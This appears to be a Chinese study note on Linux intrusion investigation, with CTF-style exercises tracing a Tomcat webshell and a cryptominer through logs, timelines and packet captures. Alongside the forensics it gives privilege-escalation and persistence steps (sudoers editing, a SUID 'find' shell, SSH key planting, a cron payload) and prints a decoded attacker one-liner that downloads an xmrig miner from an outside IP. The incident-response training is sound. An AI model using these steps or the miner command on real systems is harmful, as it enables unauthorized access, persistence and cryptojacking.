linux入侵排查

信息收集

网路连接信息

1
netstat -pantu
1
2
netstat -pantul


可以用来指明方向,来找什么类型的业务

1
ss -pantul

1
hostname -I
1
2
看当前靶机的ip

查看进程信息

1
top

1
ps -ef

杀进程kill -9 pid,比如

1
kill -9 11091

担心命令是否被替换

上传一个busybox
比如要运行ps

1
busybox ps

用户排查

思路

uid为0的用户是恶意用户
看/etc/sudoers # 这个文件指明了哪些用户有执行sudo的权限
特殊文件排查,找有suid的文件,有suid的可执行程序可用于后门提权

看文件详细信息

stat,比如看/etc/sudoers

1
stat /etc/sudoers

排查suid置位的文件

1
find / -user root -perm -4000 -print 2>/dev/null

添加sudo执行权限

先改大/etc/sudoers的权限

1
chmod 777 /etc/sudoers

然后添加

1
lan1oc ALL=(ALL:ALL) ALL
1
2
ALL=(ALL:ALL) ALL:第一个all代表登录方式什么的,括号里的代表任意用户,第三个代表任意命令

最后要把文件权限改回去

1
chmod 440 /etc/sudoers

提权

加了suid可用于提权的命令看
例如

1
chmod u+s find

然后执行

1
find . -exec /bin/bash \; -quit

日志排查

排查攻击时间内创建的文件

1
cat /var/log/auth.log | grep useradd

中间件

tomcat

网站扫描排查步骤:
1.看所有日志查可疑ip

1
cat localhost_access_log.* | awk -F " " '{print $1}' | sort | uniq -c

2.根据可疑ip查找对应的日志文件来梳时间线

1
grep "192.168.43.101" * | awk -F ":" '{print $1}' | sort | uniq -c

3.确定几个存疑日志文件,开始分析扫描行为(一般会统计到访问量大的时间)

1
cat localhost_access_log.2018-11-15.txt | awk -F " " '{print $4}' | cut -c 14-18 | sort | uniq -c

4.确定了第一次访问的日期,根据日志文件,寻找第一次开始扫描的时间

1
cat localhost_access_log.2018-11-15.txt | more

根据攻击时间线找可疑文件

1
find ./ -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null

找可疑的可执行程序(找提权用的文件)

1
find / -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null -executable

持久化排查

一般看以下几个点

/etc/bash.bashrc

/etc/profile

{home}/mirage/.profile

{home}/mirage/.bashrc

ssh无密钥登陆

1
ssh-keygen -t rsa
生成ssh的公私钥对,生成的时候询问你输入证书的密码,不要输入直接回车。这样在ssh连接的时候才会做到真正的无密码登录,否则你ssh链接的时候还是需要输入证书的密码。
1
cat /root/.ssh/id_rsa.pub 

将cat出来的id_rsa.pub内容写入到目标靶机的/root/.ssh/authorized_keys文件中即可。
注意:你可以将生成的id_rsa和id_rsa.pub文件拷贝到其它主机上,其它主机也能够无密码登录。

计划任务

写计划任务

1
crontab -e

然后输入

1
*/1 * * * * /root/apache-tomcat.tar.gz &
1
2
这个计划任务是在后台每隔一分钟运行一次/root/apache-tomcat.tar.gz

看有哪些计划任务

1
crontab -l

计划任务文件

1
cat /var/spool/cron/crontabs
1
2
3
4
5
6
7
8
/etc/crontab
/etc/cron.
cron.d/
cron.daily/
cron.hourly/
cron.monthly/
cron.weekly/

服务启动项

/lib/systemd/system/目录

排查技巧

关键字查找

在当前目录递归查找shell

1
grep "shell" -Rn .

根据时间线

看文件要用view命令,要不然就破坏了时间线索
根据时间线找文件

1
find / -type f -newermt "2025-04-17 10:00" -a -not -newermt "2025-04-17 10:30"

linux入侵排查练习

网站绝对路径

先排查网络连接,看到有java

1
netstat -pantu


然后找服务,找到tomcat

1
ps -ef|grep java


那就进webapps路径就行,有个ofcms-admin/

tomcat服务是哪个用户开启的?

找服务的时候能看到

1
ps -ef|grep tomcat

黑客的ip是多少?

看访问日志

1
cat /home/ctf/apache-tomcat-7.0.91/logs/localhost_access_log.2018-11-16.txt

黑客添加了哪个用户?

找uid为0的就行

1
cat /etc/passwd|grep 0:0


或者

1
cat /var/log/auth.log*|grep useradd

黑客通过添加的用户最近一次登录到服务器时间是什么?

1
last|grep gu3st


再结合日志显示年份是2018
所以2018/11/15/13:26

黑客开始对网站进行扫描的时间(东八区)是什么?(答案格式:年/月/ 日/HH:MM:SS)

要看的日志文件是localhost_access_log.*
先看对网站访问量大的ip

1
cat localhost_access_log.* | awk -F " " '{print $1}' | sort | uniq -c


找到两个访问量大的ip,根据ip找对应的日志文件

1
grep "192.168.43.101" * | awk -F ":" '{print $1}' | sort | uniq -c

1
grep "192.168.43.100" * | awk -F ":" '{print $1}' | sort | uniq -c


发现是14和15的两个日志文件

1
cat localhost_access_log.2018-11-15.txt | awk -F " " '{print $4}' | cut -c 14-18 | sort | uniq -c


时间很集中,大概率是15号

1
cat localhost_access_log.2018-11-14.txt | awk -F " " '{print $4}' | cut -c 14-18 | sort | uniq -c


时间较分散应该不是
然后就是直接去翻日志就行

1
cat localhost_access_log.2018-11-15.txt | more


审计时间间隔,就能得出2:50:01开始扫

爆破次数

1
cat auth.log*|grep Failed|awk -F " " '$6=="Failed"{print $11}' | sort |uniq -c

找什么时候上传了webshell

先进入到网站目录/home/ctf/apache-tomcat-7.0.91/webapps
然后就是典型的通过时间线来找

1
find ./ -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null


然后查看文件信息就行

1
stat JspWar.war

黑客在提权过程中留下了提权的exp,请找到该文件

找可疑的可执行程序

1
find / -type f -newermt "2018-11-15 02:50" -a -not -newermt "2018-11-15 23:59" 2>/dev/null -executable


有两个文件,那就切换到ctf用户,直接运行看看哪个是就行

挖矿木马排查练习(/root目录下有个流量包)

先下载流量包

1
scp root@10.3.4.70:/root/analysis.pcap ./Downloads/

攻击者通过什么账号密码成功登陆网站后台?

1
http.request.uri contains "login"




通过哪个页面反弹shell

直接搜post

1
http.request.method==POST


攻击者控制服务器后,第一个执行的echo命令的结果是什么?

根据反弹shell的ip和端口来找

1
ip.dst==124.221.70.199&&tcp.dstport == 8190


然后直接追踪流搜索echo

提交攻击者第一次SSH登陆成功的时间,以系统日志时间为准

直接先看看最后登录的用户(看过/etc/passwd未找到可疑用户,那就看看最后登录的用户有没有可疑ip的,并处于攻击时间内的)

1
last|grep root


找到可疑ip192.168.16.43
看系统的登录日志就行,因为知道ip了。就直接匹配所有文件

1
grep "192.168.16.43" *


发现了13:40:08是通过无密钥连接登录上的
所以是2024/05/22/13:40:08

攻击者的矿池地址

正常思路是靠看进程能看到cpu飙升,但是因为机器不出网,所以用find命令按时间线找

1
find / -type f -newermt "2024-05-22 13:40" -a -not -newermt "2024-05-22 23:00" 2>/dev/null -executable


有个so文件可疑,到他目录下看看

有个json文件,一看就有

没思路,直接按照反弹shell的ip来搜,发现一个可疑文件/xmrig.tar

然后追踪流发现是个挖矿木马

攻击者的对服务器的某个命令进行了篡改,找到被篡改的命令,并提交该命令的32位小写md5值

根据命令目录去找,最终在/usr/bin中找到

1
find /usr/bin -type f -newermt "2024-05-22 13:40" -a -not -newermt "2024-05-22 23:00" 2>/dev/null


然后计算md5值

1
md5sum /usr/bin/top

因为某个配置文件,导致排查人员即使删除挖矿木马,该恶意木马也会在下一次用户登录时,又重新出现。提交改配置文件的名称

直接看/etc/profile文件

1
cat /etc/profile


解密这个命令可知

1
2
3
echo 'WyAhIC1mICIvdmFyLy4gICAgICAgICAgL3htcmlnL3htcmlnIiBdICYmIHJtIC1yZiAvdmFyLyIuICAgICAgICAgICIvICYmIG1rZGlyIC1wIC92YXIvIi4gICAgICAgICAgIi8gJiYgY2QgL3Zhci8iLiAgICAgICAgICAiLyAmJiB3Z2V0IGh0dHA6Ly8xMjQuMjIxL

jcwLjE5OTo4Nzc4L3htcmlnLnRhciAmJiB0YXIgLXhmIHhtcmlnLnRhcg==' | base64 --decode

1
2
3
[ ! -f "/var/.          /xmrig/xmrig" ] && rm -rf /var/".          "/ && mkdir -p /var/".          "/ && cd /var/".          "/ && wget http://124.221.70.199:8778/xmrig.tar && tar -xf xmrig.tarroot@ubuntu:/v

ar/. /xmrig#

挖矿病毒本体实际是在这,这说明之前找到的是备份的病毒

攻击者在某个启动项文件中,设置了挖矿病毒开机自启,提交该启动项文件的名称

进入服务启动项文件夹/lib/systemd/system/,按时间线找

1
find ./ -type f -newermt "2024-05-22 13:40" -a -not -newermt "2024-05-22 23:00" 2>/dev/null

攻击者备份了一个挖矿木马文件,提交该文件的名称

就是之前找到的那个security.so

攻击者所使用的提权文件的名称是

回到反弹shell的流量中
可以看到就是用opps文件提权

运行opps文件后成功提权

第一期渗透练习回顾

fscan用法
-p 1-10000
-np 不进行ping探测
-nopoc 不进行漏洞扫描
-nobr 不进行爆破

1
nohup ./fscan -h xxxxx -p 1-10000 -np -nobr &
1
2
确保扫描任务在后台持续运行,即使终端关闭也不中断